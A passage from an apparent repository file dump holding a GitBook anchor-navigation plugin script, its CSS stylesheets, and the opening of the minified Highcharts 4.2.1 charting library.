h1Toc.url + \"'><b>\" + h1Toc.level + \"</b>\" + h1Toc.name + \"</a></li>\";\r\n        }\r\n        if (h1Toc.children.length > 0) {\r\n            html += \"<ul>\"\r\n            for (var j = 0; j < h1Toc.children.length; j++) {\r\n                var h2Toc = h1Toc.children[j];\r\n                if(h2Toc.name){\r\n                    html += \"<li><span class='title-icon \" + level2Icon + \"'></span><a href='#\" + h2Toc.url + \"'><b>\" + h2Toc.level + \"</b>\" + h2Toc.name + \"</a></li>\";\r\n                }\r\n                if (h2Toc.children.length > 0) {\r\n                    html += \"<ul>\";\r\n                    for (var k = 0; k < h2Toc.children.length; k++) {\r\n                        var h3Toc = h2Toc.children[k];\r\n                        html += \"<li><span class='title-icon \" + level3Icon + \"'></span><a href='#\" + h3Toc.url + \"'><b>\" + h3Toc.level + \"</b>\" + h3Toc.name + \"</a></li>\";\r\n                    }\r\n                    html += \"</ul>\";\r\n                }\r\n            }\r\n            html += \"</ul>\"\r\n        }\r\n    }\r\n    html += \"</ul></div>\";\r\n    return html;\r\n}\r\n\r\nfunction handlerPageTopNavbar($, tocs) {\r\n    return buildTopNavbar($, tocs)\r\n}\r\n\r\nfunction buildTopNavbar($, tocs) {\r\n    var config = Config.config;\r\n    var pageTop = config.pageTop;\r\n    var level1Icon = '';\r\n    var level2Icon = '';\r\n    var level3Icon = '';\r\n    if (pageTop.showLevelIcon) {\r\n        level1Icon = pageTop.level1Icon;\r\n        level2Icon = pageTop.level2Icon;\r\n        level3Icon = pageTop.level3Icon;\r\n    }\r\n\r\n    var html = \"<div id='anchor-navigation-ex-pagetop-navbar'><ul>\";\r\n    for (var i = 0; i < tocs.length; i++) {\r\n        var h1Toc = tocs[i];\r\n        if(h1Toc.name){\r\n            html += \"<li><span class='title-icon \" + level1Icon + \"'></span><a href='#\" + h1Toc.url + \"'><b>\" + h1Toc.level + \"</b>\" + h1Toc.name + \"</a></li>\";\r\n        }\r\n        if (h1Toc.children.length > 0) {\r\n            html += \"<ul>\"\r\n            for (var j = 0; j < h1Toc.children.length; j++) {\r\n                var h2Toc = h1Toc.children[j];\r\n                if(h2Toc.name){\r\n                    html += \"<li><span class='title-icon \" + level2Icon + \"'></span><a href='#\" + h2Toc.url + \"'><b>\" + h2Toc.level + \"</b>\" + h2Toc.name + \"</a></li>\";\r\n                }\r\n                if (h2Toc.children.length > 0) {\r\n                    html += \"<ul>\";\r\n                    for (var k = 0; k < h2Toc.children.length; k++) {\r\n                        var h3Toc = h2Toc.children[k];\r\n                        html += \"<li><span class='title-icon \" + level3Icon + \"'></span><a href='#\" + h3Toc.url + \"'><b>\" + h3Toc.level + \"</b>\" + h3Toc.name + \"</a></li>\";\r\n                    }\r\n                    html += \"</ul>\";\r\n                }\r\n            }\r\n            html += \"</ul>\"\r\n        }\r\n    }\r\n\r\n    html += \"</ul></div>\";\r\n\r\n    return html;\r\n}\r\n\r\n/**\r\n * 添加返回顶部按钮\r\n * @param tocs\r\n * @returns {string}\r\n */\r\nfunction buildGoTop(tocs) {\r\n    var config = Config.config;\r\n    var html = \"\";\r\n    if (config.showGoTop && tocs && tocs.length > 0) {\r\n        html = \"<a href='#\" + tocs[0].url + \"' id='anchorNavigationExGoTop'><i class='fa fa-arrow-up'></i></a>\";\r\n    }\r\n    return html;\r\n}\r\n\r\nfunction start(bookIns, page) {\r\n    var $ = cheerio.load(page.content);\r\n    var modifyHeader = !/<!--[ \\t]*ex_nolevel[ \\t]*-->/.test(page.content)\r\n\r\n    // 处理toc相关，同时处理标题和id\r\n    var tocs = handlerTocs($, page, modifyHeader);\r\n\r\n    // 设置处理之后的内容\r\n    if (tocs.length == 0) {\r\n        page.content = $.html();\r\n        return;\r\n    }\r\n    var html = \"\";\r\n    if (!/<!--[ \\t]*ex_nonav[ \\t]*-->/.test(page.content)) {\r\n        var config = Config.config;\r\n        var mode = config.mode;\r\n        if (mode == 'float') {\r\n            html = handlerFloatNavbar($, tocs);\r\n        } else if (mode == 'pageTop') {\r\n            html = handlerPageTopNavbar($, tocs);\r\n        }\r\n    }\r\n    html += buildGoTop(tocs);\r\n    page.content = html + $.html();\r\n    var $x = cheerio.load(page.content);\r\n    $x('extoc').replaceWith($x(buildTopNavbar($, tocs, page)));\r\n    page.content = $x.html();\r\n}\r\n\r\nmodule.exports = start;\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css",
    "content": "/** 浮动导航 */\r\n#anchor-navigation-ex-navbar {\r\n    background-color: #fafafa;\r\n    border: 1px solid rgba(0, 0, 0, .07);\r\n    border-radius: 1px;\r\n    -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\r\n    box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\r\n    background-clip: padding-box;\r\n    padding: 5px 10px;\r\n    position: fixed;\r\n    /*background-color: rgba(255,255,255,0.98);*/\r\n    right: 50px;\r\n    top: 68px;\r\n    font-size: 12px;\r\n    white-space: nowrap;\r\n    z-index: 999;\r\n    cursor: pointer;\r\n    text-align: right;\r\n    max-height: 70%;\r\n    overflow-y: auto;\r\n    overflow-x: hidden;\r\n}\r\n\r\n#anchor-navigation-ex-navbar ul {\r\n    display: none;\r\n    text-align: left;\r\n    padding-right: 10px;\r\n    padding-left: 10px;\r\n    list-style-type: none;\r\n}\r\n\r\n#anchor-navigation-ex-navbar:hover ul {\r\n    display: block;\r\n}\r\n\r\n#anchor-navigation-ex-navbar ul li a {\r\n    text-decoration: none;\r\n    border-bottom: none;\r\n    font-size: 14px;\r\n    color: #364149;\r\n    background: 0 0;\r\n    text-overflow: ellipsis;\r\n    overflow: hidden;\r\n    white-space: nowrap;\r\n    position: relative;\r\n}\r\n\r\n#anchor-navigation-ex-navbar ul li a:hover {\r\n    text-decoration: underline;\r\n}\r\n\r\n#anchor-navigation-ex-navbar ul li .title-icon {\r\n    padding-right: 4px;\r\n}\r\n\r\n/*对应官网皮肤主题颜色*/\r\n.book.color-theme-1 #anchor-navigation-ex-navbar {\r\n    background-color: #111111;\r\n    border-color: #7e888b;\r\n    color: #afa790;\r\n}\r\n\r\n.book.color-theme-1 #anchor-navigation-ex-navbar ul li a {\r\n    color: #877f6a;\r\n}\r\n\r\n.book.color-theme-2 #anchor-navigation-ex-navbar {\r\n    background-color: #2d3143;\r\n    border-color: #272a3a;\r\n    color: #bcc1d2;\r\n}\r\n\r\n.book.color-theme-2 #anchor-navigation-ex-navbar ul li a {\r\n    color: #c1c6d7;\r\n}\r\n\r\n/* 返回顶部 */\r\n#anchorNavigationExGoTop {\r\n    position: fixed;\r\n    right: 50px;\r\n    bottom: 68px;\r\n    background-color: #fafafa;\r\n    border: 1px solid rgba(0, 0, 0, .07);\r\n    border-radius: 1px;\r\n    -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\r\n    box-shadow: 0 6px 12px rgba(0, 0, 0, .175);\r\n    background-clip: padding-box;\r\n    z-index: 999;\r\n    cursor: pointer;\r\n    font-size: 12px;\r\n    padding: 5px 10px;\r\n    color: #364149;\r\n}\r\n/*对应官网皮肤主题颜色*/\r\n.book.color-theme-1 #anchorNavigationExGoTop {\r\n    background-color: #111111;\r\n    border-color: #7e888b;\r\n    color: #afa790;\r\n}\r\n\r\n.book.color-theme-2 #anchorNavigationExGoTop {\r\n    background-color: #2d3143;\r\n    border-color: #272a3a;\r\n    color: #bcc1d2;\r\n}\r\n\r\na.anchor-navigation-ex-anchor {\r\n    color: inherit !important;\r\n    display: none;\r\n    margin-left: -30px;\r\n    padding-left: 40px;\r\n    cursor: pointer;\r\n    position: absolute;\r\n    top: 0;\r\n    left: 0;\r\n    bottom: 0;\r\n}\r\n\r\na.anchor-navigation-ex-anchor i {\r\n    margin-left: -30px;\r\n    /*color: #000;*/\r\n    vertical-align: middle;\r\n    font-size: 16px !important;\r\n}\r\n\r\nh1, h2, h3, h4, h5, h6 {\r\n    position: relative;\r\n}\r\n\r\nh1:hover a.anchor-navigation-ex-anchor, h2:hover a.anchor-navigation-ex-anchor, h3:hover a.anchor-navigation-ex-anchor,\r\nh4:hover a.anchor-navigation-ex-anchor, h5:hover a.anchor-navigation-ex-anchor, h6:hover a.anchor-navigation-ex-anchor {\r\n    display: inline-block;\r\n}\r\n\r\n.book .book-body .page-wrapper .page-inner section.normal {\r\n    overflow: visible;\r\n}\r\n\r\n/* 页面内顶部固定导航  */\r\n#anchor-navigation-ex-pagetop-navbar{\r\n    border: 1px solid rgba(0, 0, 0, .07);\r\n    border-radius: 1px;\r\n    background-clip: padding-box;\r\n    padding: 5px 10px;\r\n    background-color: #fafafa;\r\n    font-size: 12px;\r\n}\r\n\r\n#anchor-navigation-ex-pagetop-navbar ul {\r\n    text-align: left;\r\n    padding-right: 10px;\r\n    padding-left: 10px;\r\n    list-style-type: none;\r\n}\r\n\r\n#anchor-navigation-ex-pagetop-navbar:hover ul {\r\n    display: block;\r\n}\r\n\r\n#anchor-navigation-ex-pagetop-navbar ul li a {\r\n    text-decoration: none;\r\n    border-bottom: none;\r\n    font-size: 14px;\r\n    color: #364149;\r\n    background: 0 0;\r\n    text-overflow: ellipsis;\r\n    overflow: hidden;\r\n    white-space: nowrap;\r\n    position: relative;\r\n}\r\n\r\n#anchor-navigation-ex-pagetop-navbar ul li a:hover {\r\n    text-decoration: underline;\r\n}\r\n\r\n#anchor-navigation-ex-pagetop-navbar ul li .title-icon {\r\n    padding-right: 4px;\r\n}\r\n\r\n/*对应官网皮肤主题颜色*/\r\n.book.color-theme-1 #anchor-navigation-ex-pagetop-navbar {\r\n    background-color: #111111;\r\n    border-color: #7e888b;\r\n    color: #afa790;\r\n}\r\n\r\n.book.color-theme-1 #anchor-navigation-ex-pagetop-navbar ul li a {\r\n    color: #877f6a;\r\n}\r\n\r\n.book.color-theme-2 #anchor-navigation-ex-pagetop-navbar {\r\n    background-color: #2d3143;\r\n    border-color: #272a3a;\r\n    color: #bcc1d2;\r\n}\r\n\r\n.book.color-theme-2 #anchor-navigation-ex-pagetop-navbar ul li a {\r\n    color: #c1c6d7;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-anchors/plugin.css",
    "content": "\na.plugin-anchor {\n    color: inherit !important;\n    display: none;\n    margin-left: -30px;\n    padding-left: 40px;\n    cursor: pointer;\n    position: absolute;\n    top: 0;\n    left: 0;\n    bottom: 0;\n}\n\na.plugin-anchor i {\n    margin-left: -30px;\n    font-size: 15px !important;\n}\n\nh1, h2, h3, h4, h5, h6 {\n    position: relative;\n}\n\nh1:hover a.plugin-anchor, h2:hover a.plugin-anchor, h3:hover a.plugin-anchor,\nh4:hover a.plugin-anchor, h5:hover a.plugin-anchor, h6:hover a.plugin-anchor {\n    display: inline-block;\n}\n\n.book .book-body .page-wrapper .page-inner section.normal {\n    overflow: visible;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-chart/highcharts/highcharts.js",
    "content": "/*\n Highcharts JS v4.2.1 (2015-12-21)\n\n (c) 2009-2014 Torstein Honsi\n\n License: www.highcharts.com/license\n*/\n(function(C,Y){typeof module===\"object\"&&module.exports?module.exports=C.document?Y(C):Y:C.Highcharts=Y(C)})(typeof window!==\"undefined\"?window:this,function(C){function Y(a,b){var c=\"Highcharts error #\"+a+\": www.highcharts.com/errors/\"+a;if(b)throw Error(c);C.console&&console.log(c)}function qb(a,b,c){this.options=b;this.elem=a;this.prop=c}function D(){var a,b=arguments,c,d={},e=function(a,b){var c,d;typeof a!==\"object\"&&(a={});for(d in b)b.hasOwnProperty(d)&&(c=b[d],a[d]=c&&typeof c===\"object\"&&\nObject.prototype.toString.call(c)!==\"[object Array]\"&&d!==\"renderTo\"&&typeof c.nodeType!==\"number\"?e(a[d]||{},c):b[d]);return a};b[0]===!0&&(d=b[1],b=Array.prototype.slice.call(b,2));c=b.length;for(a=0;a<c;a++)d=e(d,b[a]);return d}function F(a,b){return parseInt(a,b||10)}function ya(a){return typeof a===\"string\"}function Z(a){return a&&typeof a===\"object\"}function Ja(a){return Object.prototype.toString.call(a)===\"[object Array]\"}function ka(a){return typeof a===\"number\"}function Ca(a){return V.log(a)/\nV.LN10}function la(a){return V.pow(10,a)}function ma(a,b){for(var c=a.length;c--;)if(a[c]===b){a.splice(c,1);break}}function q(a){return a!==B&&a!==null}function L(a,b,c){var d,e;if(ya(b))q(c)?a.setAttribute(b,c):a&&a.getAttribute&&(e=a.getAttribute(b));else if(q(b)&&Z(b))for(d in b)a.setAttribute(d,b[d]);return e}function ta(a){return Ja(a)?a:[a]}function Qa(a,b,c){if(b)return setTimeout(a,b,c);a.call(0,c)}function M(a,b){if(za&&!da&&b&&b.opacity!==B)b.filter=\"alpha(opacity=\"+b.opacity*100+\")\";v(a.style,\nb)}function $(a,b,c,d,e){a=z.createElement(a);b&&v(a,b);e&&M(a,{padding:0,border:\"none\",margin:0});c&&M(a,c);d&&d.appendChild(a);return a}function na(a,b){var c=function(){};c.prototype=new a;v(c.prototype,b);return c}function Ka(a,b){return Array((b||2)+1-String(a).length).join(0)+a}function Za(a){return(ib&&ib(a)||rb||0)*6E4}function La(a,b){for(var c=\"{\",d=!1,e,f,g,h,i,k=[];(c=a.indexOf(c))!==-1;){e=a.slice(0,c);if(d){f=e.split(\":\");g=f.shift().split(\".\");i=g.length;e=b;for(h=0;h<i;h++)e=e[g[h]];\nif(f.length)f=f.join(\":\"),g=/\\.([0-9])/,h=O.lang,i=void 0,/f$/.test(f)?(i=(i=f.match(g))?i[1]:-1,e!==null&&(e=u.numberFormat(e,i,h.decimalPoint,f.indexOf(\",\")>-1?h.thousandsSep:\"\"))):e=Ra(f,e)}k.push(e);a=a.slice(c+1);c=(d=!d)?\"}\":\"{\"}k.push(a);return k.join(\"\")}function sb(a){return V.pow(10,S(V.log(a)/V.LN10))}function tb(a,b,c,d,e){var f,g=a,c=p(c,1);f=a/c;b||(b=[1,2,2.5,5,10],d===!1&&(c===1?b=[1,2,5,10]:c<=0.1&&(b=[1/c])));for(d=0;d<b.length;d++)if(g=b[d],e&&g*c>=a||!e&&f<=(b[d]+(b[d+1]||b[d]))/\n2)break;g*=c;return g}function jb(a,b){var c=a.length,d,e;for(e=0;e<c;e++)a[e].safeI=e;a.sort(function(a,c){d=b(a,c);return d===0?a.safeI-c.safeI:d});for(e=0;e<c;e++)delete a[e].safeI}function Sa(a){for(var b=a.length,c=a[0];b--;)a[b]<c&&(c=a[b]);return c}function Da(a){for(var b=a.length,c=a[0];b--;)a[b]>c&&(c=a[b]);return c}function Ta(a,b){for(var c in a)a[c]&&a[c]!==b&&a[c].destroy&&a[c].destroy(),delete a[c]}function Ua(a){kb||(kb=$(Ma));a&&kb.appendChild(a);kb.innerHTML=\"\"}function fa(a,b){return parseFloat(a.toPrecision(b||\n14))}function Va(a,b){b.renderer.globalAnimation=p(a,b.animation)}function Fb(){var a=O.global,b=a.useUTC,c=b?\"getUTC\":\"get\",d=b?\"setUTC\":\"set\";oa=a.Date||C.Date;rb=b&&a.timezoneOffset;ib=b&&a.getTimezoneOffset;lb=function(a,c,d,h,i,k){var j;b?(j=oa.UTC.apply(0,arguments),j+=Za(j)):j=(new oa(a,c,p(d,1),p(h,0),p(i,0),p(k,0))).getTime();return j};ub=c+\"Minutes\";vb=c+\"Hours\";wb=c+\"Day\";$a=c+\"Date\";ab=c+\"Month\";bb=c+\"FullYear\";Gb=d+\"Milliseconds\";Hb=d+\"Seconds\";Ib=d+\"Minutes\";Jb=d+\"Hours\";xb=d+\"Date\";\nyb=d+\"Month\";zb=d+\"FullYear\"}function ia(a){if(!(this instanceof ia))return new ia(a);this.init(a)}function Q(){}function Wa(a,b,c,d){this.axis=a;this.pos=b;this.type=c||\"\";this.isNew=!0;!c&&!d&&this.addLabel()}function Kb(a,b,c,d,e){var f=a.chart.inverted;this.axis=a;this.isNegative=c;this.options=b;this.x=d;this.total=null;this.points={};this.stack=e;this.alignOptions={align:b.align||(f?c?\"left\":\"right\":\"center\"),verticalAlign:b.verticalAlign||(f?\"middle\":c?\"bottom\":\"top\"),y:p(b.y,f?4:c?14:-6),\nx:p(b.x,f?c?-6:6:0)};this.textAlign=b.textAlign||(f?c?\"right\":\"left\":\"center\")}var B,z=C.document,V=Math,A=V.round,S=V.floor,ua=V.ceil,s=V.max,E=V.min,P=V.abs,T=V.cos,aa=V.sin,pa=V.PI,ga=pa*2/360,Aa=C.navigator&&C.navigator.userAgent||\"\",Lb=C.opera,za=/(msie|trident|edge)/i.test(Aa)&&!Lb,mb=z&&z.documentMode===8,nb=!za&&/AppleWebKit/.test(Aa),Na=/Firefox/.test(Aa),Mb=/(Mobile|Android|Windows Phone)/.test(Aa),Ea=\"http://www.w3.org/2000/svg\",da=z&&z.createElementNS&&!!z.createElementNS(Ea,\"svg\").createSVGRect,\nQb=Na&&parseInt(Aa.split(\"Firefox/\")[1],10)<4,ha=z&&!da&&!za&&!!z.createElement(\"canvas\").getContext,cb,db,Nb={},Ab=0,kb,O,Ra,G,va=function(){},W=[],eb=0,Ma=\"div\",Rb=/^[0-9]+$/,ob=[\"plotTop\",\"marginRight\",\"marginBottom\",\"plotLeft\"],oa,lb,rb,ib,ub,vb,wb,$a,ab,bb,Gb,Hb,Ib,Jb,xb,yb,zb,I={},u;u=C.Highcharts?Y(16,!0):{win:C};u.seriesTypes=I;var Fa=[],Ga,qa,o,Oa,Bb,Ha,N,U,H,Xa,Pa;qb.prototype={dSetter:function(){var a=this.paths[0],b=this.paths[1],c=[],d=this.now,e=a.length,f;if(d===1)c=this.toD;else if(e===\nb.length&&d<1)for(;e--;)f=parseFloat(a[e]),c[e]=isNaN(f)?a[e]:d*parseFloat(b[e]-f)+f;else c=b;this.elem.attr(\"d\",c)},update:function(){var a=this.elem,b=this.prop,c=this.now,d=this.options.step;if(this[b+\"Setter\"])this[b+\"Setter\"]();else a.attr?a.element&&a.attr(b,c):a.style[b]=c+this.unit;d&&d.call(a,c,this)},run:function(a,b,c){var d=this,e=function(a){return e.stopped?!1:d.step(a)},f;this.startTime=+new oa;this.start=a;this.end=b;this.unit=c;this.now=this.start;this.pos=0;e.elem=this.elem;if(e()&&\nFa.push(e)===1)e.timerId=setInterval(function(){for(f=0;f<Fa.length;f++)Fa[f]()||Fa.splice(f--,1);Fa.length||clearInterval(e.timerId)},13)},step:function(a){var b=+new oa,c,d=this.options;c=this.elem;var e=d.complete,f=d.duration,g=d.curAnim,h;if(c.attr&&!c.element)c=!1;else if(a||b>=f+this.startTime){this.now=this.end;this.pos=1;this.update();a=g[this.prop]=!0;for(h in g)g[h]!==!0&&(a=!1);a&&e&&e.call(c);c=!1}else this.pos=d.easing((b-this.startTime)/f),this.now=this.start+(this.end-this.start)*\nthis.pos,this.update(),c=!0;return c},initPath:function(a,b,c){var b=b||\"\",d=a.shift,e=b.indexOf(\"C\")>-1,f=e?7:3,g,b=b.split(\" \"),c=[].concat(c),h,i,k=function(a){for(g=a.length;g--;)a[g]===\"M\"&&a.splice(g+1,0,a[g+1],a[g+2],a[g+1],a[g+2])};e&&(k(b),k(c));a.isArea&&(h=b.splice(b.length-6,6),i=c.splice(c.length-6,6));if(d<=c.length/f&&b.length===c.length)for(;d--;)c=[].concat(c).splice(0,f).concat(c);a.shift=0;if(b.length)for(a=c.length;b.length<a;)d=[].concat(b).splice(b.length-f,f),e&&(d[f-6]=d[f-\n2],d[f-5]=d[f-1]),b=b.concat(d);h&&(b=b.concat(h),c=c.concat(i));return[b,c]}};var v=u.extend=function(a,b){var c;a||(a={});for(c in b)a[c]=b[c];return a},p=u.pick=function(){var a=arguments,b,c,d=a.length;for(b=0;b<d;b++)if(c=a[b],c!==B&&c!==null)return c},fb=u.wrap=function(a,b,c){var d=a[b];a[b]=function(){var a=Array.prototype.slice.call(arguments);a.unshift(d);return c.apply(this,a)}};Ra=function(a,b,c){if(!q(b)||isNaN(b))return O.lang.invalidDate||\"\";var a=p(a,\"%Y-%m-%d %H:%M:%S\"),d=new oa(b-\nZa(b)),e,f=d[vb](),g=d[wb](),h=d[$a](),i=d[ab](),k=d[bb](),j=O.lang,m=j.weekdays,d=v({a:m[g].substr(0,3),A:m[g],d:Ka(h),e:h,w:g,b:j.shortMonths[i],B:j.months[i],m:Ka(i+1),y:k.toString().substr(2,2),Y:k,H:Ka(f),k:f,I:Ka(f%12||12),l:f%12||12,M:Ka(d[ub]()),p:f<12?\"AM\":\"PM\",P:f<12?\"am\":\"pm\",S:Ka(d.getSeconds()),L:Ka(A(b%1E3),3)},u.dateFormats);for(e in d)for(;a.indexOf(\"%\"+e)!==-1;)a=a.replace(\"%\"+e,typeof d[e]===\"function\"?d[e](b):d[e]);return c?a.substr(0,1).toUpperCase()+a.substr(1):a};G={millisecond:1,\nsecond:1E3,minute:6E4,hour:36E5,day:864E5,week:6048E5,month:24192E5,year:314496E5};u.numberFormat=function(a,b,c,d){var e=O.lang,a=+a||0,f=b===-1?Math.min((a.toString().split(\".\")[1]||\"\").length,20):isNaN(b=Math.abs(b))?2:b,b=c===void 0?e.decimalPoint:c,d=d===void 0?e.thousandsSep:d,e=a<0?\"-\":\"\",c=String(F(a=P(a).toFixed(f))),g=c.length>3?c.length%3:0;return e+(g?c.substr(0,g)+d:\"\")+c.substr(g).replace(/(\\d{3})(?=\\d)/g,\"$1\"+d)+(f?b+P(a-c).toFixed(f).slice(2):\"\")};Math.easeInOutSine=function(a){return-0.5*\n(Math.cos(Math.PI*a)-1)};Ga=function(a,b){var c=C.getComputedStyle(a,void 0);return c&&F(c.getPropertyValue(b))};qa=function(a,b){return b.indexOf?b.indexOf(a):[].indexOf.call(b,a)};Oa=function(a,b){return[].filter.call(a,b)};Ha=function(a,b){for(var c=[],d=0,e=a.length;d<e;d++)c[d]=b.call(a[d],a[d],d,a);return c};Bb=function(a){var b=z.documentElement,a=a.getBoundingClientRect();return{top:a.top+(C.pageYOffset||b.scrollTop)-(b.clientTop||0),left:a.left+(C.pageXOffset||b.scrollLeft)-(b.clientLeft||\n0)}};Pa=function(a){for(var b=Fa.length;b--;)if(Fa[b].elem===a)Fa[b].stopped=!0};o=function(a,b){return Array.prototype.forEach.call(a,b)};N=function(a,b,c){function d(b){b.target=b.srcElement||C;c.call(a,b)}var e=a.hcEvents=a.hcEvents||{};if(a.addEventListener)a.addEventListener(b,c,!1);else if(a.attachEvent){if(!a.hcEventsIE)a.hcEventsIE={};a.hcEventsIE[c.toString()]=d;a.attachEvent(\"on\"+b,d)}e[b]||(e[b]=[]);e[b].push(c)};U=function(a,b,c){function d(b,c){a.removeEventListener?a.removeEventListener(b,\nc,!1):a.attachEvent&&(c=a.hcEventsIE[c.toString()],a.detachEvent(\"on\"+b,c))}function e(){var c,e,f;if(a.nodeName)for(f in b?(c={},c[b]=!0):c=g,c)if(g[f])for(e=g[f].length;e--;)d(f,g[f][e])}var f,g=a.hcEvents,h;if(g)b?(f=g[b]||[],c?(h=qa(c,f),h>-1&&(f.splice(h,1),g[b]=f),d(b,c)):(e(),g[b]=[])):(e(),a.hcEvents={})};H=function(a,b,c,d){var e;e=a.hcEvents;var f,g,h,i,c=c||{};if(z.createEvent&&(a.dispatchEvent||a.fireEvent))e=z.createEvent(\"Events\"),e.initEvent(b,!0,!0),e.target=a,v(e,c),a.dispatchEvent?\na.dispatchEvent(e):a.fireEvent(b,e);else if(e){e=e[b]||[];f=e.length;h=function(){c.defaultPrevented=!0};for(g=0;g<f;g++){i=e[g];if(c.stopped)return;c.preventDefault=h;c.target=a;if(!c.type)c.type=b;i.call(a,c)===!1&&c.preventDefault()}}d&&!c.defaultPrevented&&d(c)};Xa=function(a,b,c){var d,e=\"\",f,g,h;Z(c)||(d=arguments,c={duration:d[2],easing:d[3],complete:d[4]});if(!ka(c.duration))c.duration=400;c.easing=Math[c.easing]||Math.easeInOutSine;c.curAnim=D(b);for(h in b)g=new qb(a,c,h),f=null,h===\"d\"?\n(g.paths=g.initPath(a,a.d,b.d),g.toD=b.d,d=0,f=1):a.attr?d=a.attr(h):(d=parseFloat(Ga(a,h))||0,h!==\"opacity\"&&(e=\"px\")),f||(f=b[h]),f.match&&f.match(\"px\")&&(f=f.replace(/px/g,\"\")),g.run(d,f,e)};if(C.jQuery)C.jQuery.fn.highcharts=function(){var a=[].slice.call(arguments);if(this[0])return a[0]?(new (u[ya(a[0])?a.shift():\"Chart\"])(this[0],a[0],a[1]),this):W[L(this[0],\"data-highcharts-chart\")]};z&&!z.defaultView&&(Ga=function(a,b){var c;c={width:\"clientWidth\",height:\"clientHeight\"}[b];if(a.style[b])return F(a.style[b]);\nb===\"opacity\"&&(b=\"filter\");if(c)return a.style.zoom=1,a[c]-2*Ga(a,\"padding\");c=a.currentStyle[b.replace(/\\-(\\w)/g,function(a,b){return b.toUpperCase()})];b===\"filter\"&&(c=c.replace(/alpha\\(opacity=([0-9]+)\\)/,function(a,b){return b/100}));return c===\"\"?1:F(c)});Array.prototype.forEach||(o=function(a,b){for(var c=0,d=a.length;c<d;c++)if(b.call(a[c],a[c],c,a)===!1)return c});Array.prototype.indexOf||(qa=function(a,b){var c,d=0;if(b)for(c=b.length;d<c;d++)if(b[d]===a)return d;return-1});Array.prototype.filter||\n(Oa=function(a,b){for(var c=[],d=0,e=a.length;d<e;d++)b(a[d],d)&&c.push(a[d]);return c});u.Fx=qb;u.inArray=qa;u.each=o;u.grep=Oa;u.offset=Bb;u.map=Ha;u.addEvent=N;u.removeEvent=U;u.fireEvent=H;u.animate=Xa;u.stop=Pa;O={colors:\"#7cb5ec,#434348,#90ed7d,#f7a35c,#8085e9,#f15c80,#e4d354,#2b908f,#f45b5b,#91e8e1\".split(\",\"),symbols:[\"circle\",\"diamond\",\"square\",\"triangle\",\"triangle-down\"],lang:{loading:\"Loading...\",months:\"January,February,March,April,May,June,July,August,September,October,November,December\".split(\",\"),\nshortMonths:\"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec\".split(\",\"),weekdays:\"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday\".split(\",\"),decimalPoint:\".\",numericSymbols:\"k,M,G,T,P,E\".split(\",\"),resetZoom:\"Reset zoom\",resetZoomTitle:\"Reset zoom level 1:1\",thousandsSep:\" \"},global:{useUTC:!0,canvasToolsURL:\"http://code.highcharts.com/modules/canvas-tools.js\",VMLRadialGradientURL:\"http://code.highcharts.com/4.2.1/gfx/vml-radial-gradient.png\"},chart:{borderColor:\"#4572A7\",borderRadius:0,\ndefaultSeriesType:\"line\",ignoreHiddenSeries:!0,spacing:[10,10,15,10],backgroundColor:\"#FFFFFF\",plotBorderColor:\"#C0C0C0\",resetZoomButton:{theme:{zIndex:20},position:{align:\"right\",x:-10,y:10}}},title:{text:\"Chart title\",align:\"center\",margin:15,style:{color:\"#333333\",fontSize:\"18px\"}},subtitle:{text:\"\",align:\"center\",style:{color:\"#555555\"}},plotOptions:{line:{allowPointSelect:!1,showCheckbox:!1,animation:{duration:1E3},events:{},lineWidth:2,marker:{lineWidth:0,radius:4,lineColor:\"#FFFFFF\",states:{hover:{enabled:!0,\nlineWidthPlus:1,radiusPlus:2},select:{fillColor:\"#FFFFFF\",lineColor:\"#000000\",lineWidth:2}}},point:{events:{}},dataLabels:{align:\"center\",formatter:function(){return this.y===null?\"\":u.numberFormat(this.y,-1)},style:{color:\"contrast\",fontSize:\"11px\",fontWeight:\"bold\",textShadow:\"0 0 6px contrast, 0 0 3px contrast\"},verticalAlign:\"bottom\",x:0,y:0,padding:5},cropThreshold:300,pointRange:0,softThreshold:!0,states:{hover:{lineWidthPlus:1,marker:{},halo:{size:10,opacity:0.25}},select:{marker:{}}},stickyTracking:!0,\nturboThreshold:1E3}},labels:{style:{position:\"absolute\",color:\"#3E576F\"}},legend:{enabled:!0,align:\"center\",layout:\"horizontal\",labelFormatter:function(){return this.name},borderColor:\"#909090\",borderRadius:0,navigation:{activeColor:\"#274b6d\",inactiveColor:\"#CCC\"},shadow:!1,itemStyle:{color:\"#333333\",fontSize:\"12px\",fontWeight:\"bold\"},itemHoverStyle:{color:\"#000\"},itemHiddenStyle:{color:\"#CCC\"},itemCheckboxStyle:{position:\"absolute\",width:\"13px\",height:\"13px\"},symbolPadding:5,verticalAlign:\"bottom\",\nx:0,y:0,title:{style:{fontWeight:\"bold\"}}},loading:{labelStyle:{fontWeight:\"bold\",position:\"relative\",top:\"45%\"},style:{position:\"absolute\",backgroundColor:\"white\",opacity:0.5,textAlign:\"center\"}},tooltip:{enabled:!0,animation:da,backgroundColor:\"rgba(249, 249, 249, .85)\",borderWidth:1,borderRadius:3,dateTimeLabelFormats:{millisecond:\"%A, %b %e, %H:%M:%S.%L\",second:\"%A, %b %e, %H:%M:%S\",minute:\"%A, %b %e, %H:%M\",hour:\"%A, %b %e, %H:%M\",day:\"%A, %b %e, %Y\",week:\"Week from %A, %b %e, %Y\",month:\"%B %Y\",\nyear:\"%Y\"},footerFormat:\"\",headerFormat:'<span style=\"font-size: 10px\">{point.key}</span><br/>',pointFormat:'<span style=\"color:{point.color}\">\\u25cf</span> {series.name}: <b>{point.y}</b><br/>',shadow:!0,snap:Mb?25:10,style:{color:\"#333333\",cursor:\"default\",fontSize:\"12px\",padding:\"8px\",pointerEvents:\"none\",whiteSpace:\"nowrap\"}},credits:{enabled:!0,text:\"Highcharts.com\",href:\"http://www.highcharts.com\",position:{align:\"right\",x:-10,verticalAlign:\"bottom\",y:-5},style:{cursor:\"pointer\",color:\"#909090\",\nfontSize:\"9px\"}}};var 